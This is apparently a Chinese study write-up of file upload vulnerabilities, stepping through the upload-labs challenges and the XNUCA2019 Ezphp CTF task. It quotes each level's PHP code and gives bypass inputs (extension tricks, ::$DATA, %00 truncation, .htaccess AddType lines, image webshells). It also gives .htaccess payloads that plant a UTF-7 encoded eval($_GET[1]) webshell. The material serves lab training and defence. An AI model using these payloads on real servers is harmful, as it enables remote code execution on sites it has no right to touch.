文件上传漏洞

前言

  这段时间结合了upload-lab看了下文件上传漏洞,下面我想做一些总结

文件上传漏洞的介绍

  文件上传漏洞是一种比较容易获得webshell的漏洞利用方式,多见于有图片上传功能的位置,通过上传一句话木马连接到服务器,以备后续操作。

检验文件上传漏洞的一些思路

  1. 客户端校验 禁用或修改js或者不用浏览器上传即可

  2. 服务端校验

    • 黑名单
      • 尝试上传.htaccess 添加AddType 将合法后缀名解析为php等
      • 尝试使用等效后缀名 例如php替换为php3,php5等等
        • php: php5,php4,php3,php2,html,htm,phtml,pht,pHp,pHp5,pHp4,pHp3,pHp2,Html,Htm,pHtml
        • asp: asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
        • jsp: jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
      • 利用操作系统特性例如win下,后缀名不予许有.,空格,::$DATA等等
      • 利用服务器解析特性
      • 双后缀名绕过
    • 白名单
      • Content-type校验
      • %00截断和0x00截断
      • move_uploaded_file函数忽略/.
    1. 内容校验
      • 文件开始的内容校验
        • JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)
        • gif,”GIF89A”(474946383961)
        • zip,”ZipCompressed”(504B0304)
        • doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1)
      • 一次渲染
      • 二次渲染
  3. 逻辑 主要是竞争上传

upload-labs 部分实例

pass 1-2

  js校验和content type校验

pass 3

   等价后缀绕过
   ​

1
$deny_ext = array('.asp','.aspx','.php','.jsp');

   显然可以用php5等后缀绕过

pass 4 上传.htaccess

1
2
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",...);
$file_name = trim($_FILES['upload_file']['name']);

没有过滤.htaccess ,上传.htaccess

1
AddType application/x-httpd-php  .jpg

或者
1
AddHandler application/x-httpd-php  .jpg

pass 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5","
.php4",".php3",".php2","
.html",".htm",".phtml",
".pht",".pHp",".pHp5",
".pHp4",".pHp3",".pHp2",
".Html",".Htm",".pHtml",
".jsp",".jspa",".jspx",
".jsw",".jsv",".jspf",
".jtml",".jSp",".jSpx",
".jSpa",".jSw",".jSv",
".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",
".ascx",".ashx",".asmx",
".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",
".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

显然没有过滤后缀名的大小写,尝试Php,可以得到phpinfo.Php
还有一种过waf的方法就是双写::$DATA,可以得到xxx.php

pass 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",
".php3",".php2",".html",".htm",".phtml",
".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",
".jspa",".jspx",".jsw",".jsv",".jspf",
".jtml",".jSp",".jSpx",".jSpa",".jSw",
".jSv",".jSpf",".jHtml",".asp",".aspx",
".asa",".asax",".ascx",".ashx",".asmx",
".cer",".aSp",".aSpx",".aSa",".aSax",
".aScx",".aShx",".aSmx",".cEr",".sWf",
".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);
//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

审计代码发现比起上一关的代码减少了对后缀名前后的空格的过滤,那么修改后缀名为phpinfo.php(空格) 即可

pass 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

比较这一题的代码和上一题的代码主要有两个不通点,一个自然是过滤了空格,另外一个则是在拼接img_path时,$file_name并没有采取随机数重命名的方式而采用了原名,这样就给双后缀名绕过提供了机会。因为$file_ext是最后一个.开始到结束的字符串,而这题中原文件名并没有被处理,如果上一部分包含了.php等后缀名便可被解析。
尝试phpinfo.php.

这里还有一种方法就是利用apache的解析漏洞,如果文件后缀名apache无法解析,那么apache就会从已解析的后缀名往左解析例如phpinfo.php.xxx无法解析,那么apache便会解析.php,然而我试了下好像没有用。

另外一种方法就是00截断,这种方法我想待会一起讨论

pass 8

1
2
3
4
5
6
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

显然这题没有过滤::$DATA,那么就用 ::$DATA绕过即可

pass 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这一题没有重写文件名,故可以采用phpinfo.php. .尝试绕过($file_ext=(空格))

pass 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3",
"php2","html","htm","phtml","pht","jsp",
"jspa","jspx","jsw","jsv","jspf","jtml",
"asp","aspx","asa","asax","ascx","ashx",
"asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

看到str_ireplace 方法的时候就可以想到双写绕过了,故phpinfo.phphpp过

pass 11-12

这两题的共同特点是通过%00截断过waf
抓包或者审计源码可以发现

1
2
3
4
5
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(!in_array($file_ext,$ext_arr)){
$img_path = ($_POST['save_path']或者$_GET['save_path'])."/".rand(10, 99).date("YmdHis").".".$file_ext;
}

是白名单加上传递参数定义存储文件路径
这里save_path可以被修改,如果传入/upload/phpinfo.php%00.jpg
在move_upload_path函数中%00会产生截断字符串的效果,从而实际写入路径变为/upload/phpinfo.php绕过成功

00截断的要求有两个,一个是php版本小于5.3.4,另外一个是php的magic_quotes_gpc必须关闭,因为它会过滤get和post的请求中的\

%00在路径中被解析后,字符串会变为phpinfo.php\000.jpg,而\000在c语言中是终止符,因为php的底层实现四c语言,所以会产生这样的结果。

%00在get,post,甚至cookie都有效

如果需要在文件命中使用截断,则需要使用修改.php后的字节,例如.php(0x00).jpg格式(输入的时候不需要括号,可以在bp中hex内改)

pass 13-15

内容检查图片码
制作方法
cat xxx.jpg xxx.php> xxx.php

上传的时候需要修改后缀名和mime type

pass 16

二次渲染

gif上传之后和自己制作的图片码比较,将代码插入没有变化的位置。

png和jpg上传都是采用了现成脚本
参考了这篇文章 https://xz.aliyun.com/t/2657#toc-4

pass 17

竞争上传,主要的问题是使用move_uploaded_file之后rename,rename耗时较多,故上传线程开到5-6,然后浏览器多访问几次就成功。

pass 18

这段代码的逻辑其实是和17很相似,核心的问题是在move()和rename()这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

竞争上传,多线程上传phpinfo.php.7z到apache上,可利用apache解析漏洞解析php

pass 19-20

move_uploaded_file() 忽略/.
上传phpinfo.php/. move_uploaded_file生成的新文件变为phpinfo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2",
"html","htm","phtml","pht","jsp","jspa","jspx",
"jsw","jsv","jspf","jtml","asp","aspx","asa",
"asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这题主要考了两个点,一个是move_uploaded_file忽略/.,另外一个是逻辑漏洞
逻辑漏洞主要是在$file_name=reset($file).’/‘.$file[count($file)-1];
取file数组的第一个元素和file的最后一个元素形成路径。而count函数的值代表了数组非空元素的个数

代码主要的问题是处在上传save_name为数组时,检查ext时是检测save_name的最后一个元素,现在比较理想的情况是构造一个可以解析的文件后缀
大概是xxx.php.xxx, 这就要求了$file[count($file)-1]和end($file)代表了不同的元素,那么传入两个元素save_name[0]=phpinfo.php
save_name[2]=.jpg,刚好能满足要求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//20
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

补充

可以写.htacccess或者.user.ini情况下
(XNUCA2019Qualifier的Ezphp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
//包含不存在的文件可以触发error log
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

这里主要是通过在.htaccess或者.user.ini配置文件中添加php配置来辅助文件上传姿势。(这里默认允许上传这些文件,或者配置文件可写)

首先要明确这些php配置可被设定范围
可以参考文档 https://www.php.net/manual/zh/configuration.changes.modes.php

.htaccess 文件能写的配置范围是PHP_INI_PERDIR和PHP_INI_ALL,能够使用php_value和php_flag指令来设置配置。

这道题的配置文件比较特殊

1
2
3
4
5
6
7
8
9
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
php_admin_flag engine off

<Location /index.php>
AllowOverride None
Require all granted
php_admin_flag engine on
</Location>

通过php_admin_flag 设置engine使得不解析除了index之外的文件,而且这里的php_admin_flag是不能在.htaccess中设置的,所以直接写php shell或者.htaccess木马都是没用的,而且index.php也是不能修改的。但是经过研究发现,这里的.htaccess文件可以写,应该是要在这上面做文章。

  1. 使用errorlog和includepath写入文件

    • 第一步,通过error_log配合include_path在tmp目录生成shell。

      1
      2
      3
      4
      php_value error_log /tmp/fl3g.php
      php_value error_reporting 32767
      php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
      # \(注释掉\n防止.htaccess报错)
    • 第二步,通过include_path和utf7编码执行shell。

      1
      2
      3
      4
      php_value include_path "/tmp"
      php_value zend.multibyte 1
      php_value zend.script_encoding "UTF-7"
      # \
  2. 使prec正则表达式失效。

    1
    2
    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0

    然后使用php伪协议写入 auto_prepend_file来包含.htaccess即可。

  3. 使用\来拼接被过滤字符。

  4. 写session,这里参考 https://lihuaiqiu.github.io/2019/09/23/XNUCA2019-Ezphp/

而.user.ini可以写的配置范围是PHP_INI_ALL和PHP_INI_USER。(但是.user.ini中可以设置auto_append_file或者auto_prepend_file,不知道为啥我看文档只写了这两个)

  1. 通过auto_append_file或者auto_prepend_file包含图片马,加载图片中的内容(有include的效果)。